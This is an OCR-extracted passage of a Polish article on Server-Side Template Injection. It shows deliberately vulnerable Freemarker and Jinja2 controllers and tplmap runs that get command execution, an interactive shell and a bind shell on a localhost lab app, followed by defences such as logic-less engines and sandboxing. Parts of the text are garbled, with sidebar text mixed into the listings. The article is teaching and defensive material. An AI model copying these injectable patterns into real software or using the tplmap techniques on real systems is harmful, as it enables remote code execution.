ja (Python). Nalezy jednak mie¢ na uwadze, ze czasami kod bedzie sandboxowany
(o sandboxach wspomne pod koniec artykutu).

Narzedzia i przyklad zastosowania - Freemarker

Po rozwigzaniu wszystkich gtéwnych probleméw zwigzanych z wykorzystaniem
podatnosci SSTI, czas na przyktad praktyczny. Rozwazymy aplikacje blizniacza do
tej z pierwszego przyktadu, posiadajaca jedng znaczaca réznice (wprowadzonga dla
ozywienia): tym razem szablony od uzytkownika sg wykonywane w silniku Freemar-
ker (tym samym, z ktérego aplikacja korzysta aby generowac kod HTML).

Listing 11. Kod kontrolera (warstwa prezentacji nie zmienia sie)

. @Controller
. public class TemplateController {

private Configuration configuration;

@RequestMapping(method = RequestMethod.GET, path = "/")

public String hello(Map<String, Object> model, @CookieValue(
required = false, name = "username") String b64username, @CookieValue(
required = false, name = "template") String b64template) throws IOException {

1
2
3.
4.  @Autowired
5
6
7
8

9. String decodedUsername = null != b64username ? new String(
Base64.getDecoder().decode(b64username)) : "";

10. model.put("username", decodedUsername);

11.

12. if (null != bé4template) {

13. String decodedTemplate = new String(

Base64.getDecoder().decode(b64template));
14. model.put("template", decodedTemplate);

Server-Side Template Injections

15. try {
16. Writer userTemplateOut = new StringWriter();
17. Template template = new Template(
"userTemplate", decodedTemplate, configuration);
18. Map<String, Object> templateModel = new HashMap<>();
19. templateModel.put("username"”, decodedUsername);
20. template.process(templateModel, userTemplateOut);
21. model.put("emailMessage", userTemplateOut.toString());
22. } catch (ParseException | TemplateException e) {
23. model.put("error", "Error in template: " + e.getMessage());
24.
25. }
26.
27. return "hello";
28. }
29.

30. @RequestMapping(method = RequestMethod.POST, path = "/updateUsername")
31. public String updateUsername(
@RequestParam("username") String username, HttpServletResponse response) {

32. response.addCookie(new Cookie("username",
Base64.getEncoder().encodeToString(username.getBytes())));

33. return "redirect:/";

34. }

35.

36. @RequestMapping(method = RequestMethod.POST, path = "/updateEmailMessage")
37. public String updateEmailMessage(
@RequestParam("template") String template, HttpServletResponse response) {

38. response.addCookie(new Cookie("template",
Base64.getEncoder().encodeToString(template.getBytes())));

39. return "redirect:/";

40. }

41.

42. }

Wida¢, ze jedyne zmiany znajduja sie w liniach 15-24 i ze s3 one zwigzane z uzyciem
innego silnika. Jak nieraz wspomniatem, przy poszukiwaniu, identyfikacji i explo-
itacji, chcielibysmy mie¢ mozliwo$¢ automatyzacji ataku. Jest to nie tylko mozliwe,
ale i tatwe - wrecz powstaty odpowiednie narzedzia, ktére nam w tym pomoga
- na przykfad tplmap.

Zatozmy, ze wykorzystaliémy powyzsze narzedzie i ze ono zadziatato (skrypt moze
wymagac jeszcze doinstalowania kilku modutéw Pythona, m.in. pyyaml — pomoze
nam tu na przyktad komenda pip), to teraz uruchomimy je z parametrem -h:

Listing 12.

1. $ python tplmap.py -h
2. Usage: python tplmap.py [options]
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VWoONOUVhw

. Options:

-h, --help Show help and exit.

Target:
These options have to be provided, to define the target URL.

-u URL, --url=URL Target URL.

-X REQUEST, --re.. Force usage of given HTTP method (e.g. PUT).
Request:

These options have how to connect and where to inject to the target

URL.

-d DATA, --data=.. Data string to be sent through POST. It must be as

query string: paraml=valuel&param2=value2.
-H HEADERS, --he.. Extra headers (e.g. 'Headerl: Valuel'). Use multiple

times to add new headers.
-A USER_AGENT, - HTTP User-Agent header value.
Detection:
These options can be used to customize the detection phase.
--level=LEVEL Level of code context escape to perform (1-5, Default:
1).
-e ENGINE, --eng.. Force back-end template engine to this value.

Operating system access:
These options can be used to access the underlying operating system.
--0s-cmd=0S_CMD Execute an operating system command.
--o0s-shell Prompt for an interactive operating system shell.
--upload=UPLOAD Upload LOCAL to REMOTE files.
--force-overwrite Force file overwrite when uploading.
--download=DOWNL.. Download REMOTE to LOCAL files.
--bind-shell=BIN.. Spawn a system shell on a TCP PORT of the target and
connect to it.
--reverse-shell=.. Run a system shell and back-connect to local HOST
PORT.

Template inspection:
These options can be used to inspect the template engine.

--tpl-shell Prompt for an interactive shell on the template
engine.
--tpl-code=TPL_C.. 1Inject code in the template engine.
General:
These options can be used to set some general working parameters.
--force-level=FO.. Force a LEVEL and CLEVEL to test.
--injection-tag=.. Use string as injection tag (default '*').
. Example:

Server-

58.
59.
60. %

Side Template Injections

/tplmap -u ,http://www.target.com/page.php?id=1*"

Jak wida¢, mamy dostep do catkiem pokaznej liczby opcji, ktore moga uproscic pra-
ce. W wersji podstawowej jednak, musimy podac jedynie URL, ktory chcemy przete-
stowac. Tutaj sg to dane, ktére chcemy wystac¢ w ciele zadania, gdyz nasza aplikacja
przyjmuje je tylko za pomocg metody POST. Wykonajmy odpowiednie polecenie:

Listing 13.

39. %

. $ python ./tplmap.py -d "template=test" -u http://localhost:8083/updateEmailMessage
[+] Tplmap 0.3

Automatic Server-Side Template Injection Detection and Exploitation Tool

[+] Smarty plugin is testing rendering with tag '{*}'
[+] Smarty plugin is testing blind injection
[+] Mako plugin is testing rendering with tag '${*}'
. [+] Mako plugin is testing blind injection
10. [+] Jinja2 plugin is testing rendering with tag '{{*}}'
11. [+] Jinja2 plugin is testing blind injection
12. [+] Twig plugin is testing rendering with tag '{{*}}’
13. [+] Freemarker plugin is testing rendering with tag '${*}'
14. [+] Freemarker plugin has confirmed injection with tag '${*}’
15. [+] Tplmap identified the following injection point:

1
2
3
4.
5. [+] Testing if POST parameter 'template' is injectable
6
7
8
9

POST parameter: template
Engine: Freemarker
Injection: ${*}

Context: text

0S: Linux

Technique: render
Capabilities:

Shell command execution: yes
Bind and reverse shell: yes
File write: yes

File read: yes

Code evaluation: no

31. [+] Rerun tplmap providing one of the following options:

--0s-shell Run shell on the target

--os-cmd Execute shell commands

--bind-shell PORT Connect to a shell bind to a target port
--reverse-shell HOST PORT Send a shell back to the attacker's port
--upload LOCAL REMOTE Upload files to the server

--download REMOTE LOCAL Download remote files
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Wykonanie powyzszej komendy nie potrwa dtugo - juz po chwili otrzymamy
wynik. Jakie s3 najwazniejsze informacje, ktére mozemy odczytac? Po serii testéw
tplmap stwierdza, ze:

» Podatnym parametrem jest template dla metody HTTP POST,

» Silnikiem szablonow jest Freemarker,

» Technika, ktéra zadziatata, to render — czyli widzimy wynik przetworzenia szablo-
nu na serwerze,

» Efektem exploitacji moze by¢: wykonanie dowolnej komendy systemowej, uru-
chomienie shell/reverse shell, a takze odczytywanie i zapisywanie plikow.

Nie mozemy (bezposrednio) uruchamiac¢ kodu jezyka (w tym przypadku - Javy), po-
niewaz Freemarker nie udostepnia takiej mozliwosci — ale oczywiscie wykonanie
dowolnej komendy systemowej daje nam wszystko, co chcielismy...

A na koncu jest podpowiedz, aby uruchomi¢ tplmap raz jeszcze - tym razem z opgja,
ktéra wykona na serwerze ciekawa operacje. Przyktadowo, sprobujmy uzy¢ opgji
--0s-cmd:

Listing 14.

=

. $ python ./tplmap.py -d "template=test"
-u http://localhost:8083/updateEmailMessage --os-cmd=uname
[+] Tplmap 0.3
Automatic Server-Side Template Injection Detection and Exploitation Tool

2
3
4
5. [+] Testing if POST parameter 'template' is injectable
6. [+] Smarty plugin is testing rendering with tag '{*}'
7 [+] Smarty plugin is testing blind injection

8. [+] Mako plugin is testing rendering with tag '${*}'

9. [+] Mako plugin is testing blind injection

10. [+] Jinja2 plugin is testing rendering with tag '{{*}}'

11. [+] Jinja2 plugin is testing blind injection

12. [+] Twig plugin is testing rendering with tag '{{*}}’

13. [+] Freemarker plugin is testing rendering with tag '${*}'
14. [+] Freemarker plugin has confirmed injection with tag '${*}'
15. [+] Tplmap identified the following injection point:

16.
17.  POST parameter: template
18. Engine: Freemarker

19. Injection: ${*}
20. Context: text
21. 0S: Linux

22. Technique: render

23. Capabilities:

24,

25. Shell command execution: yes

Server-Side Template Injections

26. Bind and reverse shell: yes
27. File write: yes

28. File read: yes

29. Code evaluation: no

30.

31. Linux

32. ¢

Teraz, jak wida¢ w ostatniej linii Listingu 17., dostalismy wynik wykonania komendy
uname — Linux, co rzeczywiscie zgadza sie ze stanem faktycznym. Super, ale urucha-
mianie tplmap (a co za tym idzie - przeprowadzanie petnego skanowania widocz-
nego w liniach 5-15) za kazdym razem, kiedy chcemy wykona¢ nowg komende, nie
wydaje sie optymalne — uzyjmy teraz przetacznika - -os-shell:

Listing 15.

1. $ python ./tplmap.py -d "template=test"
-u http://localhost:8083/updateEmailMessage --o0s-shell
[+] Tplmap ©.3
Automatic Server-Side Template Injection Detection and Exploitation Tool

2

3

4.

5. [+] Testing if POST parameter 'template' is injectable

6 [+] Smarty plugin is testing rendering with tag '{*}'

7. [+] Smarty plugin is testing blind injection

8. [+] Mako plugin is testing rendering with tag '${*}'

9. [+] Mako plugin is testing blind injection

10. [+] Jinja2 plugin is testing rendering with tag '{{*}}'
11. [+] Jinja2 plugin is testing blind injection

12. [+] Twig plugin is testing rendering with tag '{{*}}'

13. [+] Freemarker plugin is testing rendering with tag '${*}'
14. [+] Freemarker plugin has confirmed injection with tag '${*}'
15. [+] Tplmap identified the following injection point:

16.
17. POST parameter: template
18. Engine: Freemarker

19. Injection: ${*}
20. Context: text
21. 0S: Linux

22. Technique: render

23. Capabilities:

24.

25. Shell command execution: yes
26. Bind and reverse shell: yes
27. File write: yes

28. File read: yes

29. Code evaluation: no

30.

31. [+] Run commands on the operating system.
32. Linux $ uname
33. Linux
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34. Linux $ ping -c1 google.com 26.
35. PING google.com (172.217.20.174) 56(84) bytes of data. 27. return "hello";
36. 64 bytes from waw@2s07-in-f14.1e100.net (172.217.20.174): icmp_seq=1 tt1l=55 28. }
time=19.9 ms 29.
37. ) o 30. @RquestMapping(method = RequestMethod.POST, path = "/updateUsername") Czym jest Path Traversal?
38. --- google.com ping statistics --- 31. public String updateUsername(
39. 1 packets transmitted, 1 received, 0% packet loss, time @ms @RequestParam("username") String username, HttpServletResponse response) {
40. rtt min/avg/max/mdev = 19.921/19.921/19.921/0.000 ms 32. response.addCookie(new Cookie(
41. Linux $ [+] Exiting. username”, Ba?eﬁfl.getEncoder‘().encodeToStr‘lng(user‘name.getBytes()))); Hardening WordPress
42, % 33. return "redirect:/";
34. }
35.
C . . p . ) . . 36. @RequestMapping(method = RequestMethod.POST, path = "/updateEmailMessage") . .. c
Jak wida¢, tplmap zgodnie z prosba uruchomit nam shell, w ktérym mozemy inte- 37. public String updateEmailMessage( Unpickle - deserializacja
raktywnie komunikowac sie z serwerem. Doskonale. @RequestParam("template"”) String template, HttpServletResponse response) { w Pythonie i zdalne
y €
. . .. , 38. response.addCookie(new Cookie( K ie kod
Nasze narzedzie jest catkiem madre i dziata w przypadkach, ktére sa troche bar- "template", Base64.getEncoder().encodeToString(template.getBytes()))); Wwykonywanie xodu
dziej skomplikowane i nieoczywiste. Sprobujmy na przyktad, jak zadziata ono w przy- ZZ' }'“Et“'“” redirect:/";
padku exploitacji na slepo — zmodyfikowany kod aplikacji wyglada tak: 41. .
42. } Webshells - wykrywanie tylnych
Listing 16. furtek w aplikacjach WWW
1. @Controller Jedyna roznica jest taka, ze tym razem - z powododw ,bezpieczeristwa” — nie odsy-
g' public class TemplateController { tamy do uzytkownika wyniku przetworzenia szablonu (linia 21). Oczywiscie, takie HTTP Strict Transport Security
4. @Autowired dziatanie nadal umozliwia nam wykonanie kodu, co przedstawia ponizszy wynik (HSTS) w praktyce, czyli zmuszamy
Z private Configuration configuration; Wywo’fania tplmap: przeglqdarke do stosowania
7 @RequestMapping(method = RequestMethod.GET, path = "/") bezpiecznych potqczen
8 public String hello(Map<String, Object> model, @CookieValue(required Listing 17.
= false, name = "username") String bé64username, @CookieValue(required
= false, name = "template") String bé4template) throws IOException { h 1 g lates N )
9. String decodedUsername = null != b64username ? new String( 1. $ python ./tplmap.py -d "temp ate-te;t Wykradanie tokenow,
Base64.getDecoder () .decode (b64username)) : ""; -u http://localhost:8084/updateEmailMessage L . L.
" . . ’ 2. [+] Tplmap 0.3 hakowanie jQuery i omijanie
10. model.put("username”, decodedUsername); . . s . s A i .
11. z Automatic Server-Side Template Injection Detection and Exploitation Tool Same-0rigin Policy - czyli jak
12. if 11 != be4templat
13 * S'Eglijng decoded'le'rgrapia‘ig { 5. [+] Testing if POST parameter 'template' is injectable wygratem XSSMas Challenge 2016
= new String(Base64.getDecoder().decode(b64template)); 6. [+] Smarty plug}n 1s test}ng r‘er;der‘;ng' WlJ,Ch tag '{*}
14. model.put(“template”, decodedTemplate); 7 [+] Smarty plugin is testing blind injection
15. try { 8. [+] Mako plugin is testing rendering with tag '${*}' . . .
16, Writer userTemplateOut = new StringWriter(); 9. [+] Mako plugin is testing blind injection . ' | Server-Side Template Injections
17. Template template = new Template( 10. [+] Jinja2 plugin is testing rendering with tag {{*}}
"userTemplate", decodedTemplate, configuration); 11. [+] Jlr‘1]a21plt.1g1r.1 1s te;tlng bélm_j 1njgc‘;10n CrrR1LY
18. Map<String, Object> templateModel = new HashMap<>(); 12. [+] Twig plugin is Fes’_cmg rendering WlF tag H }}, .y
19. templateModel.put("username"”, decodedUsername); 13. [+] Freemarker plug:_m 1s test}ng r‘er_1der‘:_mg Wth tag '${*}
20. template.process(templateModel, userTemplateOut); 14. [+] Freemarker plug}n 1s testlr)g b11nd‘1nj(‘ect:10n.
21. model.put("error”, 15. [+] Fr‘eemar‘l.<er‘ p}ugln has conflrrfled I?ll.nd }nject}on
"Removing output because of Server-Side Template Injection attack!"); 16. [+] Tplmap identified the following injection point:
22. } catch (ParseException | TemplateException e) { 17. . 1
23. model.put("error", "Error in template: " + e.getMessage()); 13, POST parameter: template 5
24. } 19. Engine: Freemarker
5. } 20. Injection: * ‘
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21. Context: text

22. 0S: undetected

23. Technique: blind

24. Capabilities:

25.

26. Shell command execution: yes (blind)

27. Bind and reverse shell: yes

28. File write: yes (blind)

29. File read: no

30. Code evaluation: no

31.

32. [+] Rerun tplmap providing one of the following options:

33.

34. --0s-shell Run shell on the target

35. --0s-cmd Execute shell commands

36. --bind-shell PORT Connect to a shell bind to a target port
37. --reverse-shell HOST PORT Send a shell back to the attacker's port
38. --upload LOCAL REMOTE Upload files to the server

39. %

Tym razem, wykonanie potrwato chwile dtuzej (poniewaz przy testowaniu opcji
exploitacji na slepo serwer chwile,spat na nasze zadanie”). Wynik jest podobny, z kil-
koma oczywistymi roznicami: po pierwsze technika, ktéra zadziatata, to tym razem
blind. Zapis plikow jest dalej mozliwy, ale odczyt - juz nie, a przynajmniej nie bezpo-
$rednio. Nadal mamy mozliwos¢ wykonywania dowolnych komend, ale tym razem
jest to wykonywanie ich na $lepo. Sprobujmy po raz kolejny uzy¢ opcji - -os-cmd:

Listing 18.

1. $ python ./tplmap.py -d "template=test" -u http://localhost:8084/
updateEmailMessage --os-cmd=gnome-calculator

. [+] Tplmap 0.3

. Automatic Server-Side Template Injection Detection and Exploitation Tool

2
3
4
5. [+] Testing if POST parameter 'template' is injectable

6. [+] Smarty plugin is testing rendering with tag '{*}'

7. [+] Smarty plugin is testing blind injection

8. [+] Mako plugin is testing rendering with tag '${*}'

9. [+] Mako plugin is testing blind injection

10. [+] Jinja2 plugin is testing rendering with tag '{{*}}'
11. [+] Jinja2 plugin is testing blind injection

12. [+] Twig plugin is testing rendering with tag '{{*}}'

13. [+] Freemarker plugin is testing rendering with tag '${*}
14. [+] Freemarker plugin is testing blind injection

15. [+] Freemarker plugin has confirmed blind injection

16. [+] Tplmap identified the following injection point:

17.
18. POST parameter: template
19. Engine: Freemarker

Server-Side Template Injections

20. Injection: *

21. Context: text
22. 0S: undetected
23. Technique: blind
24. Capabilities:

25.

26. Shell command execution: yes (blind)
27. Bind and reverse shell: yes

28. File write: yes (blind)

29. File read: no

30. Code evaluation: no

31.

32. [+] Blind injection has been found and command execution will not produce any output.
33. [+] Delay is introduced appending '&& sleep <delay>' to the shell commands.
True or False is returned whether it returns successfully or not.
34. True
35. ¢

Po wprowadzeniu powyzszej komendy, rzeczywiscie zauwazymy uruchamiajacy
sie kalkulator. Nie widzimy niestety wyjscia naszej komendy, ale widzimy wartos¢
True. Jakinstruuje nas powyzej tplmap, w momencie gdy instrukcja sie powiedzie,
serwer ,$pi” przez chwile, narzedzie to wykrywa i zwraca True. Jesli instrukcja sie
nie powiedzie, nie ma opdznienia na serwerze i tplmap zwrdci warto$¢ False. Juz
sam ten mechanizm pozwala nam na tym etapie napisac raczej prosty skrypt, kto-
ry bedzie po kolei wczytywat (w dalszym ciagu technikg na slepo) dowolne znaki
z wyjscia dowolnej komendy — analogicznie jak w ataku Blind SQL Injection.

Jest to jednak meczace i dtugotrwate — nie da sie prosciej?

Otéz da sie. Uzyjmy przefacznika - -bind-shell, ktéry najpierw zacznie nastu-
chiwac na pewnym porcie na serwerze, a nastepnie potaczy sie z tym portem:

Listing 19.

1. $ python ./tplmap.py -d "template=test"
-u http://localhost:8084/updateEmailMessage --bind-shell 1337
[+] Tplmap ©.3
Automatic Server-Side Template Injection Detection and Exploitation Tool

2
3
4
5. [+] Testing if POST parameter 'template' is injectable
6. [+] Smarty plugin is testing rendering with tag '{*}'
7. [+] Smarty plugin is testing blind injection

8. [+] Mako plugin is testing rendering with tag '${*}'

9. [+] Mako plugin is testing blind injection

10. [+] Jinja2 plugin is testing rendering with tag '{{*}}'
11. [+] Jinja2 plugin is testing blind injection

12. [+] Twig plugin is testing rendering with tag '{{*}}'

13. [+] Freemarker plugin is testing rendering with tag '${*}
14. [+] Freemarker plugin is testing blind injection
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15. [+] Freemarker plugin has confirmed blind injection
16. [+] Tplmap identified the following injection point:

17.

18. POST parameter: template
19. Engine: Freemarker

20. Injection: *

21. Context: text
22. 0S: undetected
23. Technique: blind
24. Capabilities:

25.

26. Shell command execution: yes (blind)
27. Bind and reverse shell: yes

28. File write: yes (blind)

29. File read: no

30. Code evaluation: no

31.

32. [+] Spawn a shell on remote port 1337 with payload 1
33. $ uname
34. uname
35. Linux
36. $ ping -cl1 google.com
37. ping -cl google.com
38. PING google.com (172.217.20.174) 56(84) bytes of data.
39. 64 bytes from waw@2s07-in-f14.1e100.net (172.217.20.174): icmp_seg=1 ttl=55 time=19.3 ms
40.
41. --- google.com ping statistics ---
42. 1 packets transmitted, 1 received, 0% packet loss, time @ms
43. rtt min/avg/max/mdev = 19.387/19.387/19.387/0.000 ms
44. $ ~C[+] Exiting.
$

Wspaniale, po raz kolejny zostalismy wrzuceni do systemowego shella, z ktorym
mozemy wejs¢ w interakcje. :-)

Powyzsze metody uzupetniajg sie. Nie zawsze bedziemy mogli potaczyc sie z ata-
kowanym serwerem na dowolnym porcie lub tez zestawi¢ (za pomoca opcji --re-
verse-shell) reverse shella — chocby z powoddw potencjalnych zapor sieciowych.
W takich wypadkach, musimy sie cofng¢ do wolniejszych i mniej wygodnych metod
--os-cmd i --o0s-shell - ktére beda dziata¢ zawsze, poniewaz opierajg sie tylko
i wylacznie na komunikacji HTTP z serwerem.

Oczywiscie, tplmap zawiera duzo wiecej przydatnych opdiji i przefgcznikéw — zachecam
do zapoznania sie z ich mozliwosciami.

Jak wida¢, exploitacja podatnosci typu SSTI moze by¢ catkiem rozsadnie zautomaty-
zowana. Narzedzie tp1lmap nie jest jedyna opcja, ktérg mamy do wyboru. Dla przyktadu,
Burp Suite Pro tez nieZle radzi sobie z tym atakiem. Wystarczy tylko wiaczy¢ aktywne
skanowanie podatnosci na naszym celu, a po chwili... (Rysunek 18, patrz kolejna strona).

Server-Side Template Injections

Wszystko dziata, jak powinno.

Mimo, ze opisywane narzedzia sg bardzo pomocne - nie zwalniaja jednak z obo-
wigzku myslenia. W wielu przypadkach, automatyczne skanowanie nie znajdzie po-
datnosci, ktéra w rzeczywistosci istnieje, a do namierzenia wymaga jedynie troche
wiecej kreatywnosci.

ZAPOBIEGANIE I OBRONA

Wiemy juz, jak atakowac¢ aplikacje podatne na SSTI. Ale w jaki sposob sie przed
atakiem bronic?

I w tym przypadku metod jest kilka, a kazda z nich charakteryzuje inna efektyw-
nos¢. Przeanalizujmy je po kolei.

Rezygnacja z szablonow (przynajmniej czeSciowo)

Sposéb pierwszy i najprostszy — zrezygnujmy z szablonéw. Takie rozwigzanie w
100% uchroni nas przed atakiem. Moze sie wydawac, ze jest catkowicie niepraktyczne,
ale wbrew pozorom nie zawsze tak musi by¢. Zauwazmy, ze w ataku SSTI problemem
nie s same szablony, ale fakt, ze sg one dostarczane przez — w domysle, niezaufanego
- uzytkownika. Zaktadajac, ze szablony nalezy traktowac tak jak kod zrédtowy (wspo-
mniatem juz, ze nalezy tak do nich podchodzi¢), nie ma zadnych przeciwwskazan, aby
byly one dostarczane na przyktad - przez programistéw, a takze (w przypadku bardziej
0golnym) wszystkie osoby, ktére moga ten prawdziwy kod zrodtowy modyfikowac w
dowolny sposdéb. Uscislajac: niekoniecznie musimy w 100% ufa¢ naszym programistom
(cho¢ ataki typu inside-job zdarzaja sie wcale nie tak rzadko), poniewaz prawo do edycji
szablonéw nie spowoduje, ze zagrozenie wzrosnie — nie dostarczamy w ten sposob ni-
komu zadnych dodatkowych mozliwosci ataku. Mozemy pojs¢ krok dalej i udostepnic
mozliwos$¢ tworzenia/edycji szablonéw takze wybranym osobom niemajacym stycz-
nosci z kodem, np. administratorowi strony czy (zaufanym) pracownikom firmy. Nalezy
mie¢ jednak na uwadze dwie rzeczy: pierwsza, ze im wiecej osob ma dostep do edycji,
tym wiecej potencjalnych atakujacych. Warto zrobi¢ zatem analize ryzyka i ostroznie
rozdzielac tego typu uprawnienia. Drugi problem pojawia sie wtedy, gdy edycja szablo-
néw jest elementem naszej aplikacji, to znaczy jest dostepna jako jej funkcjonalnos¢, na
przyktad - przy uzyciu przegladarki. W takiej sytuacji, nawet jesli lista oséb zaufanych
jest krétka, odnalezienie innego btedu (np. typu XSS lub CSRF), powoduje, ze wraca-
my do punktu wyjscia. Ta sytuacja wcale nie jest teoretyczna: James Kettle podaje jako
przyktad uzyskanie RCE w Alfresco doktadnie dzieki uzyciu mixu podatnosci XSS i SSTI.
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Burp Intruder Repeater Window Help

Server-Side Template Injections

jTarget T Proxy I Spider T Scanner I Intruder I Repeater I Sequencer I Decoder T Comparer I Extender I Project options T User options IAIerts ]

Site map | Scope

| Filter: Hiding out of scope and not found items; hiding CSS, image and general binary content; hiding 4xx responses; hiding empty folders

o http://localhost:8083
()
¥ {3 updateEmailMessage
4 template=fafd
¥ i updateUsername
| username=Peter+Wwinter

Rysuenk 18. Wynik skanowania Burp Suite Pro

Contents

Issues
Host | Method | URL | Params | Status 4 | Length | MIME type | Title Server-side template injection
http:/flocalhost:8083  GET I O 200 1132 HTML * i Cookie without HttpoOnly flag set [2]
httpy/flocalhost:80832  POST  jupdateEmailMessage ¥ 302 179 > i Base64-encoded data in parameter [2]
httpflocalhost:8083 POST jupdatelsername ] 302 187
< J "
Reguest | Response _[AdvisnryT Request I Response ]
Raw | Headers | Hex #
™
GEL 7 HTTRAL & Server-side template injection
Host: localhost:gsos3
Cache-Control: max-age=0
Upgrade—lnsecurg—Requests: 1 ; Issue: Server-side template injection
User-Agent: Mozilla/S5.0 (X11; Linux x86 64) AppleWebKit/537.35 (KHTML, like Gecko) Severity: High
Chrome/56.0.2924,87 Safari/537.36 Confid ! . Certai
Accept: text/html,application/xhtml+xml, application/xml;q=0.9,image/webp, */*;q=0.8 orndence: Serai
d ONT : 1' : : L s 4 ! 2 Host: http://localhost: 8083
s Path: JupdateEmailMessage
Referer: http://localhost:8083/
Accept-Language: pl,en-US;q=0.8,en;q=0.6,en-GCB;q=0.4
Connection: close .
Issue detail
The template parameter appears to be vulnerable to server-side template injection attacks. The template
engine appears to be FreeMarker.
The payload <#assign ya9pp="cqur7"><#assign xhs6d="picel'>${ya9pp}${xhs6d} was submitted
in the template parameter. This payload contains a FreeMarker template statement.
The server response contained the string cqur7picel. This indicates that the payload is being interpreted by a v
server-side template engine.
Issue background
Server-side template injection occurs when user input is unsafely embedded into a server-side template,
allowing users to inject template directives. Using malicious template directives, an attacker may be able to
execute arbitrary code and take full control of the web server.
The severity of this issue varies depending on the type of template engine being used. Template engines range
from being trivial to almost impossible to exploit. The following steps should be used when attempting to
develop an exploit:
- @ |dentify the type of template engine being used.
x5 ® Review its documentation for basic syntax, security considerations, and built-in methods and variables.
2 Tur carch tor # Explore the template environment and map the attack surface. -
? = + = | [Type a search term 0 matches i MF:” % S e et F |
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Przypomne jeszcze, ze w naszym przypadku, ,rezygnacja z szablonéw” oznacza
uniemozliwienie (niezaufanemu) uzytkownikowi dostarczanie jakiejkolwiek ich
czesci — z jednej strony mamy oczywistg sytuacje, gdy uzytkownik przesyta petny
szablon, ale z drugiej - mniej oczywista, gdy kleimy szablon czesciowo z danych
zaufanych, a cze$ciowo z potencjalnie niebezpiecznych (przypominam przytoczony
wczesniej przykfad Ubera). Druga sytuacja jest by¢ moze trudniejsza do wychwy-
cenia przy analizie kodu, ale z reguty prostsza do naprawienia — w koncu szablony
powstaty po to, aby unikngc¢ klejenia stringéw, a wiec fakt ze to robimy, sugeruje, ze
programista prawdopodobnie sie pomylit.

Uzycie bezpiecznych silnikéw

Jesli koniecznie potrzebujemy funkcjonalnosci, ktéra umozliwia niezaufanym
uzytkownikom przesytanie szablonéw, mozemy wzmacnia¢ bezpieczenstwo przez
wybranie odpowiedniego dla nich silnika. U podstaw tego rozwigzania stoi obser-
wacja, ze niektore z silnikbw maja potezne mozliwosci (na przyktad wspomniane
wyzej Freemarker i Velocity), a inne umozliwiaja tylko podstawowe operacje, takie
jak podstawianie zmiennych — co w 99% przypadkéw jest jedyng funkcjonalno-
$cig wymagang przez uzytkownikéw. Warto zatem zdecydowac sie na silnik, ktéry
minimalizuje zagrozenie - poleci¢ tu mozna np. Mustache reklamowany jako ,sza-
blony pozbawione logiki” (ang. Logic-less templates) i dostepny w wielu jezykach
programowania.

Nalezy pamietac, ze cho¢ w danym momencie silnik wydaje sie bezpieczny, nie
znaczy, ze taki naprawde jest — w zwigzku z faktem, ze problem SSTI jest swiezy,
wiele silnikdw mogto jeszcze nie zosta¢ przetestowanych pod tym katem i moga
zawierac (czesto trywialne!) btedy. Dobrym przyktadem jest tu jezyk Python i jego
natywny silnik - w oryginalnym artykule James’a Kettle'a zostat polecony, jako bez-
pieczna alternatywa, niestety — w Swietle ostatnich odkry¢, okazato sie ze nie jest tak
do konca. Nalezy miec wiec swiadomos¢, ze to co jest bezpieczne dzis$, niekoniecz-
nie bedzie takie jutro — i ze ta metoda jest troche stabsza, niz catkowita rezygnacja
z szablonéw.

Sandboxing

Jesli jestesmy skazani na konkretny silnik szablonéw, a (niezaufany) uzytkownik
musi mie¢ prawo do ich modyfikacji, mozemy sprawdzi¢, czy mamy szczescie i czy
dany silnik nie udostepnia trybu ,bezpiecznego” lub ,sandboxowanego”. Ideg takie-

Server-Side Template Injections

go trybu jest to, ze wszystkie potencjalnie niebezpieczne akcje (jak na przyktad wy-
konywanie komend systemowych, czytanie z/pisanie do plikéw itp.),sa niewidocz-
ne z poziomu takiego uzytkownika.

Sandboxing jest rozwigzaniem, ktére w praktyce sprawdza sie réznie. Z jednej
strony mamy MediaWiki (Wikipedia), ktéra swoje szablony opiera na mocno obcie-
tym (ze wzgleddéw bezpieczenstwa = sandbox) jezyku Lua i — jak dotad - ten mo-
del dziata. Z drugiej strony, James Kettle byt w stanie bez wiekszych probleméw
Wyskoczyc¢” z sandboxéw silnikdéw Smarty i Twig i uzyskac¢ RCE. Innym przyktadem,
jest wspomniany juz Python: co prawda, w tym przypadku nie uzyskujemy RCE, ale
mozemy wczyta¢ wrazliwe dane.

Aby podac konkretny przyktad, rozwazmy doktadniej ten ostatni problem. Za-
t6zmy, ze mamy do czynienia z aplikacja analogiczng do wczes$niejszej, ale tym ra-
zem napisang w Pythonie, przy uzyciu frameworka Flask i biblioteki Jinja2 (Jinja2
jest domyslnym silnikiem szablonow Flask, wiec bedzie zatagczona automatycznie).
Oto kod aplikacji:

Listing 20.

. import flask, Base64, jinja2

. app = flask.Flask(__name_)

1
2
3
4.
5. @app.route("/", methods = ['GET'])
6. def hello():

7 decodedUsername = ,'

8 if 'username' in flask.request.cookies:

9 decodedUsername = Base64.b64decode(flask.request.cookies['username'])
11. emailMessage = ,'

12. decodedTemplate = ,'

13. error = None

14. 1if 'template' in flask.request.cookies:

15. decodedTemplate = Base64.b64decode(flask.request.cookies['template’'])

16. try:

17. emailMessage = app.jinja_env.from_string(decodedTemplate).render(
username = decodedUsername)

18. except jinja2.TemplateSyntaxError as e:

19. error = ,Error: , + str(e)

20.

21. return flask.render_template('hello.html', username = decodedUsername,
template = decodedTemplate, emailMessage = emailMessage, error = error)

22.

23. @app.route("/updateUsername", methods = ['POST'])

24. def updateUsername():

25. response = app.make_response(flask.redirect('/"))

26. response.set_cookie(
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'username’, Base64.b64encode(flask.request.form[ 'username']))
27. return response
28.
29. @app.route("/updateEmailMessage", methods = ['POST'])
30. def updateEmailMessage():
31. response = app.make_response(flask.redirect('/"))
32. response.set_cookie(
‘template’, Base64.b6dencode(flask.request.form[ 'template']))
33. return response
34.
35. if __name__ == "_main__":
36. app.run(port = 8085)

oraz kod (bezpiecznego - bo dostarczonego przez programiste — nie uzytkownika!)
szablonu wyswietlajgcego kod HTML strony:

Listing 21.

. <!DOCTYPE html>

1
2.
3. <html lang="en">
4.
5. <body>
6. <hl>Hello dear user: {{ username }}</hl>
7. <span style="display: block;">Here is your email notification message:<span>
8. {% if error %}
9. <span style="display: block; padding: 1@px; color: red">{{ error }}</span>
10. {% else %}
11. <textarea rows="10" cols="66" name="template" style="display: block; margin:
10px">{{ emailMessage | safe }}</textarea>
12. {% endif %}
13. <hr/>
14. <form action="/updateUsername" method="POST">
15. <label for="username" style="display: block;">Change your username:</label>
16. <input type="text" name="username" style="display: block; margin: 10px;
width: 4@0px" value="{{ username }}"/>
